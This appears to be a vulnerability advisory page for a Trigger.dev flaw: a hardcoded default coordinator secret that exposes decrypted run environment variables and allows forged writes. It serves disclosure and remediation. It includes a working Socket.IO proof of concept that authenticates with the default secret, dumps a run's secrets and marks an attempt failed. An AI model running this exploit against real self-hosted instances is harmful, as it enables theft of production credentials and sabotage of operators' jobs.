Trigger.dev: V1 coordinator default-secret unauth Socket.IO
CVE-2026-114088 · GHSA-j3cj-67wq-q96g · EUVD-2026-106891 · GHSA-gg6r-gp4c-89hp · published 2 Oct 2026
How serious is it
- Severity: high, CVSS score 8.3 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-114088?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
trigger.dev(npm) < 4.5.4
How to check
- Run
npm ls trigger.devin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
trigger.devto 4.5.4 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## TL;DR
The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.
## Vulnerabilities
This attack is made possible by 3 vulnerabilities in Trigger.dev:
### 1. Hardcoded default authentication secret (CWE-798, Critical)
PROVIDER_SECRET and COORDINATOR_SECRET are declared with `.default("provider-secret")` / `.default("coordinator-secret")` in [`apps/webapp/app/env.server.ts:289-290`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/env.server.ts#L289-L290). The values are present in the public source repo, neither var is documented in `docs/self-hosting/env/*.mdx`, `hosting/docker/.env.example`, or `hosting/k8s/helm/values.yaml`, and the auth check at [`packages/core/src/v3/zodNamespace.ts:148`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/packages/core/src/v3/zodNamespace.ts#L148) is a plain string compare against that published value
### 2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)
`READY_FOR_EXECUTION` at [`apps/webapp/app/v3/handleSocketIo.server.ts:123`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/handleSocketIo.server.ts#L123) calls `sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...)`, which at [`apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts#L1881-L1895) returns `payload.environment` as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only `marqs/` code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below
### 3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)
TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. `attempt_*` friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id
## Exploit chain / PoC
```js
import { io } from "socket.io-client";
const sock = io("https://<self-hosted-target>/coordinator", {
auth: { token: "coordinator-secret" },
transports: ["websocket"],
});
sock.on("connect", () => {
// exfil decrypted env for a known run id
sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
console.log(res.payload.environment);
// { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
});
// mark any attempt failed
sock.emit("TASK_RUN_FAILED_TO_RUN", {
completion: {
id: "<attempt_friendlyId>",
ok: false,
error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
},
});
});
```
## Resolution
Fixed in **v4.5.4**. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit `5ba8557a5` (#4236) — including the `/coordinator`, `/provider`, and `/shared-queue` Socket.IO namespaces, `packages/core/src/v3/zodNamespace.ts`, the `marqs` shared-queue consumer, and the `PROVIDER_SECRET` / `COORDINATOR_SECRET` environment variables.
All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the `READY_FOR_EXECUTION` env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.
**Affected:** self-hosted Trigger.dev `< 4.5.4`. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).
**Managed cloud (cloud.trigger.dev) was not affected:** it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.
**Action:** self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-gg6r-gp4c-89hp
- github.com/triggerdotdev/trigger.dev/pull/4236
- github.com/triggerdotdev/trigger.dev/commit/5ba8557a51533be05f04245b03e1ca975cd57eff
- github.com/triggerdotdev/trigger.dev
- github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.4
- www.vulncheck.com/advisories/trigger-dev-before-4.5.4-hardcoded-coordinator-secret-authentication-bypass-via-socket-io
Merged from OSV, ENISA EUVD. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON